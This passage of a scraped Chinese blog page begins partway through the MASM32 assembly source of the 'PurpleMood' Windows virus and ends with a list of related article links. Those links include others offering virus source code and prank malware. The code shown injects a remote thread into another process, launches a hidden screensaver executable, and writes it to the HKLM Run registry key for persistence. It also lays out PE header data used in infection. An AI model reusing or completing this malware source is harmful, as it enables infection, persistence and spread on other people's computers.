_WriteProcessMemory = dword ptr $-4
call eax  ;write there our code
dec eax
jne AP_FreeMem
xor edx,edx
push edx
push edx
push edx
push ebp
push edx
push edx
push dword ptr hProcess[ebx]
mov eax,12345678h
_CreateRemoteThread = dword ptr $-4
 call eax  ;run remote thread!
 jmp   AP_Exit     ;important,i forgot first
AP_FreeMem:
push MEM_RELEASE
push 0
push ebp
push dword ptr hProcess[ebx]
mov eax,12345678h
_VirtualFreeEx = dword ptr $-4
call eax  ;free memory
AP_Exit :
    popad
    ret
AnalyseProcess EndP
procz dd 128 dup (?)
 dd ?
modz dd ?
mod_name db MAX_PATH dup (?)
tmp dd ?
rtThreadStart:
    call   rtStart
rtStart:
    pop   ebx
    sub   ebx , offset rtStart
    call   rtInit
rtWork:
    call   MakeSCRAlive
    push   1000*60
    mov   eax , 12345678h
_Sleep      = dword ptr $ - 4
    call   eax
    jmp   short rtWork
rtInit:
    @pushsz "shlwapi.dll"
    mov   eax , 12345678h
_LoadLibraryA  = dword ptr $ - 4
    call   eax
    @pushsz "SHSetValueA"
    push   eax
    mov   eax , 12345678h
_GetProcAddress = dword ptr $ - 4
    call   eax
    mov   _SHSetValueA[ebx],eax
    ret
MakeSCRAlive:
    call  @RT1
nGetProcAddress  db  "GetProcAddress",0
@RT1:  push  FALSE
    push  1
    mov  eax , 12345678h
_OpenMutex   = dword ptr $ - 4
    call  eax
    xchg  esi,eax
    .if  esi == NULL
        jmp  RunSCR
    .else
        push  esi
        mov  eax , 12345678h
_ReleaseMutex = dword ptr $ - 4
        call  eax
        push  esi
        mov  eax , 12345678h
_CloseHandle  = dword ptr $ - 4
        call  eax
        jmp  RegistSCR
    .endif
RunSCR:
    push  SW_HIDE
    call  @RT2
szFilePath   db  50 dup (0)
@RT2:  mov  eax , 12345678h
_WinExec    = dword ptr $ - 4
    call  eax
RegistSCR:
    lea   eax,[offset szFilePath+ebx]
    push   12345678h
SCRPathSize   = dword ptr $-4
  push   eax
push   REG_SZ
    @pushsz "PurpleMood"
@pushsz "Software/Microsoft/Windows/CurrentVersion/Run"
push   HKEY_LOCAL_MACHINE
    mov   eax,12345679h
_SHSetValueA   = dword ptr $-4
    call   eax       ;eax = SHSetValueA addr
    ret
rtThreadEnd:
;*************Virus Data******************************
Signature    db  "紫色心情,你永远的期待",0
HostEntry     dd  0
hKernel32     dd  0
szEXEPath     db MAX_PATH dup (0)
szFileName     db "/PurpleMood.scr",0
FNameSize     =  $ - szFileName
wfd        WIN32_FIND_DATA <>
;*****************PE Data*****************************
VImports:
          dd    offset Kernel32_Pointers + @
          dd    -1,-1
          dd    offset Kernel32_Name + @
VIAT:
          dd    offset Kernel32_Relocated + @
          db    14 dup (0)
Kernel32_Pointers dd    offset Kernel32_Beep + @ , 0
Kernel32_Relocated dd    offset Kernel32_Beep + @ , 0
Kernel32_Beep   db    ?,?,"MessageBoxA",0
Kernel32_Name   db    "User32.dll",0
MDosStub:
  db 4Dh,5Ah,90h,00,03,00, 00, 00, 04, 00, 00,00,0FFh,0FFh,00,00
  db 0B8h,00,00,00, 00, 00, 00, 00,40h, 00, 00, 00, 00, 00,00,00
  db 00, 00, 00,00,00,00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00
  db 00, 00, 00, 00,00,00,00,00, 00, 00, 00, 00, 40h, 00, 00, 00
  db 50h,45h,00,00
MFileHeader:
 Machine        dw   14Ch
 NumberOfSections   dw   1
 TimeDateStamp     dd   3cbe5cc2h
 PointerToSymbolTable dd   0
 NumberOfSymbols    dd   0
 SizeOfOptionalHeader dw   0e0h
 Characteristics    dw   10fh
MIMAGE_OPTIONAL_HEADER32:
  Magic             dw    10bh
  MajorLinkerVersion      db    5
  MinorLinkerVersion      db    12
  SizeOfCode          dd    VRAW_SIZE
  SizeOfInitializedData     dd    0
  SizeOfUninitializedData    dd    0
  AddressOfEntryPoint      dd    1000h
  BaseOfCode          dd    1000h
  BaseOfData          dd    3000h
  ImageBase           dd    400000h
  SectionAlignment       dd    1000h
  FileAlignment         dd    200h
  MajorOperatingSystemVersion  dw    4
  MinorOperatingSystemVersion  dw    0
  MajorImageVersion       dw    0
  MinorImageVersion       dw    0
  MajorSubsystemVersion     dw    4
  MinorSubsystemVersion     dw    0
  Win32VersionValue       dd    0
  SizeOfImage          dd    3000h;need to change st
  SizeOfHeaders         dd    200h
  CheckSum           dd    0
  Subsystem           dw    2    ;(Windows GUI)
  DllCharacteristics      dw    0
  SizeOfStackReserve      dd    100000h
  SizeOfStackCommit       dd    1000h
  SizeOfHeapReserve       dd    100000h
  SizeOfHeapCommit       dd    1000h
  LoaderFlags          dd    0
  NumberOfRvaAndSizes      dd    10h
  DataDirectory         dd    0,0
           dd    offset VImports+@,VIMPORT_SIZE
           dd    14h dup(0)
           dd    offset VIAT + @,8
           dd    0,0,0,0,0,0
MIMAGE_SECTION_HEADER:
  Name1        db ".xjs",0,0,0,0
  VirtualSize     dd offset VEnd - offset VStart
  VirtualAddress    dd 1000h
  SizeOfRawData    dd VRAW_SIZE
  PointerToRawData   dd 200h
  PointerToRelocations dd 0
  PointerToLinenumbers dd 0
  NumberOfRelocations dw 0
  NumberOfLinenumbers dw 0
  Characteristic    dd 0E0000020h
VEnd:
CODE ends
end main


MATLAB实战:手把手教你实现WVD信号分析(附完整代码与避坑指南) 本文通过MATLAB实战,手把手教你实现Wigner-Ville分布(WVD)信号分析。文章提供了从零构建WVD函数的完整代码,并重点解析了使用解析信号、处理交叉项、优化计算效率等关键避坑指南,帮助工程师高效处理非平稳信号,获得高分辨率的时频分析结果。 阅读详情

相关推荐

Ansys Lumerical 启动时出现 Error: Could not connect to Ansys license server specified at 1055@ 的另一种解决办法

昨天在关闭了中之后 就能正常打开 FDTD 了,结果今天想开启出现了同样的报错:我猜测昨天能启动的原因在于关闭之后要重启电脑,并且在重启之后我第一时间打开 lumerical 测试因此端口没有被占用,今天是在电脑启动之后一段时间才打开所以又遇到了端口占用的问题。

qq_51404184的博客 9553

恶搞黑客小程序小病毒大全

恶搞黑客小程序小病毒大全,想要其他黑客小程序,信息学奥赛一本通答案,c++基础的,关注我。跪求点赞,收藏。

m0_73220913的博客 1万+

MIPI DSI2接口开发避坑指南:以RK3576的GM8775C桥接芯片调试为例

本文以RK3576平台搭配GM8775C桥接芯片为例,深入剖析MIPI DSI2接口开发中的常见问题与解决方案。文章详细解读了从U-Boot阶段到内核DRM驱动架构的完整显示通路构建,重点分享了电源时序管理、寄存器配置与硬件协同调试等实战经验,为嵌入式显示系统开发者提供了一套系统化的避坑指南和调试方**。

weixin_29290379的博客 329

使用WNetEnumResource函数实现枚举工作组内的主机及其IP

背景 之所以会学习到这方面的知识,是因为那段时间正在帮一个游戏工作室开发一个游戏自动登录并创建角色的游戏脚本。当时,我就是使用VS去开发。因为它要求要有一个控制端,所以,就分别写了一个客户端程序和控制端程序。客户端都运行在虚拟机内,和控制端在同一网段里。 当时,我就想让客户端在虚拟机里运行,主动去扫描工作组内的主机,那么它工作组内就会有两个主机,一个是虚拟机自己,另一个就是外面的主机。主机上运行则控制端,所以,这样就可以获取主机的IP地址,并自动建立反向连接,传输数据。 函数介绍 // 启动网络资源或现有连

LYSM 886

数字IC设计之时序分析基础概念汇总

时序分析主要有两种办法:静态时序分析: (static timing analysis,STA),是遍历电路存在的所有时序路径,根据给定工作条件(PVT)下的时序库.lib文件计算信号在这些路径上的传播延时,检查信号的建立和保持时间是否满足约束要求,根据最大路径延时和最小路径延时找出违背时序约束的错误。

weixin_45230720的博客 5607

[misc]智能车协议分析:2020网鼎杯青龙组misc_teslaaaaa_wp

[misc]智能车协议分析:2020网鼎杯青龙组misc_teslaaaaa_wp 文章目录[misc]智能车协议分析:2020网鼎杯青龙组misc_teslaaaaa_wp分析log文件格式分析协议组成UDS网络传输层UDS统一诊断服务协议分析文件提取文件逆向flag计算参考链接: teslaaaaa这道题是青龙组被做出来的题目中做出来人数最少的,直到比赛快结束才有第一个人做出来,怎么说,难并不是因为脑洞大,讲道理这道题是一道好题,我当时也是肝了一天没做出来,我倒是把文件提取出来了,奈何比赛时间已经接近尾

Breeze的博客 1万+

Color 颜色代码大全

十六进制颜色编码字符串如下所示(前置的英语单词都是颜色)

m0_70903072的博客 7041

Orange Pi 3B+刷入EmuELEC全过程:手把手教程

手把手教你如何在Orange Pi 3B+上成功刷入emuelec系统,涵盖烧录工具、镜像下载到启动设置的完整流程,让复古游戏体验轻松实现。

weixin_35732273的博客 1094

[源码和文档分享]使用WNetEnumResource函数实现枚举工作组内的主机及其IP

背景 之所以会学习到这方面的知识,是因为那段时间正在帮一个游戏工作室开发一个游戏自动登录并创建角色的游戏脚本。当时,我就是使用VS去开发。因为它要求要有一个控制端可以所有的控制端,所以,就分别写了一个客户端程序和控制端程序。客户端都运行在虚拟机内,和控制端在同一网段里。 当时,我就想让客户端在虚拟机里运行,主动去扫描工作组内的主机,那么它工作组...

qq_38474647的博客 255

Flutter:如何在Android中实现串口通信调试

本文介绍如何通过flutter_libserialport插件在Flutter中实现串口通信调试。

sg_knight的专栏 6098

fatal: unable to access ‘https://github.com/xxx.git/‘ OpenSSL SSL_connect: SSL_ERROR_SYSCALL 解决方案

 本文主要介绍了fatal: unable to access ‘https://github.com/xxx.git/’: OpenSSL SSL_connect: SSL_ERROR_SYSCALL in connection to github.com:443解决方案,希望能对使用git的同学们有所帮助。 文章目录 1. 问题描述 2. 解决方案

weixin_43178406的博客 24万+

微信errcode大全

$errArr = [ '-1' =&gt; '{"errMsg":"system error","errDesc":"系统繁忙,此时请开发者稍候再试"}', '40009' =&gt; '{"errMsg":"Invalid image size","errDesc":"图片大小为0或者超

Liubo的博客 3万+

掌握 Unity 中的状态机:综合指南

最后,将拥有一个由状态机驱动的功能齐全的播放器控制器,可以集成到自己的项目中。此外,状态机有助于实现复杂的人工智能、玩家控制、动画系统等,从而形成更强大、更灵活的游戏架构。状态机是计算机科学和游戏开发中的一个基本概念,它通过定义一组有限的状态及其之间的转换来模拟实体的行为。你可以定义常见的状态行为,例如 Enter、Update 和 Exit 方法,确保整个状态机架构的一致性和连贯性。由于前面提到的状态类扩展了 BaseState 类,因此我们可以为具有不同状态的不同对象创建单独的类。

yolo模型训练找我,AI游戏合作找我 1453

PurpleMood 紫色心情病毒源代码

*******************************************************************病毒名称:PurpleMood (紫色心情)适用环境: Win9x/Winnt/Win2k/Winxp编写环境: Win2k,Masm32v6简  介:1. 感染本地硬盘和网络上所有exe(GUI)文件     2. 搜索本地所有邮件地址,将病毒作为附件发送出去  

zhangjie0072的专栏 2238

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

一个新病毒代码

'7.21O1="'2.76((=|2.76|}{=|`|}{=|`.|}{=|`.|}{=|G|&amp;}{=(659)&amp;(661)&amp;(661)&amp;(667)&amp;|://|&amp;|2.|&amp;(09)&amp;(09)&amp;(93)&amp;|5.|&amp;(658)&amp;|/27.|&amp;(42)&amp;||&amp;(6

weixin_34294649的博客 907

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

知乎周源微信_每周源代码29-Ruby和Shoes和第一个Ruby病毒

知乎周源微信I was in Norway last week at the Norwegian Developers Conference, so I'm afraid the Weekly Source Code is the bi-weekly source code this month. It's amazing how international travel can really s...

cunfuxiao7305的博客 612

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

HTML前端代码script language=vbs 木马病毒

发现这个病毒时;代码最后面<script language=vbs ex--0000000000000>全是0的这个。删掉这些代码 在本地安装一个杀毒软件。把相应的带有这个病毒的文件需要的代码全部拷贝下来之后,进行杀毒删除这些文件。多杀两次, 之后进入电脑的安全模式再次杀毒。最后把项目重新运行起来,病毒需要联网,一旦启动还是出现感染,那就说明没有清除干净。需要再次清理---重复。...

超人不会飞 4779

“微信勒索病毒”全纪实:打扰了,我只是病毒界的杨超越

作者 | 史中本文经授权转自“浅黑科技”(qianheikeji)你要相信,这世界上总有那么一种人,自己没想火,却一夜之间火得妈都不认识。比如参加选秀就是为了2000块钱...

优快云资讯 2977

2-5 首页推荐部分代码

推荐组件是在 src/pages/home/components 下的 Recommend.js 中,那么,我们先初始化一下这个组件如下。 import React, {Component} from 'react'; import { RecommendWrapper, RecommendItem } from '../style.js'; class Recommend exte...

purple_lumpy的博客 380

社会计算机比赛,哈尔滨工业大学社会计算与信息检索研究中心 – 理解语言,认知社会 » IR-Lab参加计算机学院“光熙杯”篮球赛...

IR-Lab参加计算机学院“光熙杯”篮球赛2014年04月18日迎首战师生一心,IR队旗开得胜5月11日是“光熙杯”篮球赛的第二个比赛日,IR队迎来了小组赛的首场比赛,对阵空间计算队。比赛开始阶段,双方均略显紧张,然而随着比赛的进行,IR队实力上的优势逐渐显示出来。在刘老师的带领下,IR队渐渐把比分拉开,刘老师个人更是得到了全场最高的10分。而女将祝慧佳的进球则彻底摧毁了空间计算队的斗志。最终,...

weixin_39931362的博客 465

颜色英文代码全集

颜色英文代码全集

hfdhjjj的博客 2667

整人病毒vbs大全!

新建一个记事本 把代码复制进去 重名名为vbs格式的就可以了 解除这个vbs脚本的办法就简单了 只要关掉任务管理器里Wscript.exe这个进程就好了1、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> ———————————————————————...

weixin_30810239的博客 4370

病毒源代码Java_病毒代码_bat病毒代码_java病毒代码(5)

这里填入节的名字sn1(这个域有8个字节哟),并且给VirtualSize(有的地方称作PhysicalSize)我的病毒的大小,这个不需要对齐。说到对齐,大家要清楚一个概念就是内存中的数据节对齐,文件中的数据文件对齐。movecx,DWORDptr[esi38h]moveax,DWORDptr[edi-28h0ch]addeax,DWORDptr[edi-28h8h]movecx,DWORDpt...

weixin_39633452的博客 2366

国际著名病毒编写组织29A出品--Funlove

 ;********************************************************************************************* ;          Flcss.asm ; ;          disasm by Code Demon ;    ;          Code Demon Virus Dreaming Facto

是叶子终要回归大地,是爱情总会沉入海底。 2134

科学计算机病毒代码大全,计算机病毒代码有哪些

计算机病毒也是要生成的,那么计算机病毒代码有些什么呢?下面由学习啦小编给你做出详细的计算机病毒代码介绍!希望对你有帮助!计算机病毒代码介绍一:void main(){while(1){}}//死循环,电脑用不了或者这样void main(){while(1){char *a=new char(1024);}}//吃光你的内存还能这样#include#includevoid main(){........

weixin_39600291的博客 1万+
上一篇: 附加一个线程在 explorer.exe 上执行代码
下一篇: VBS.LoveLetter.CI病毒源代码
ych_max
博客等级 码龄25年 13粉丝 7原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值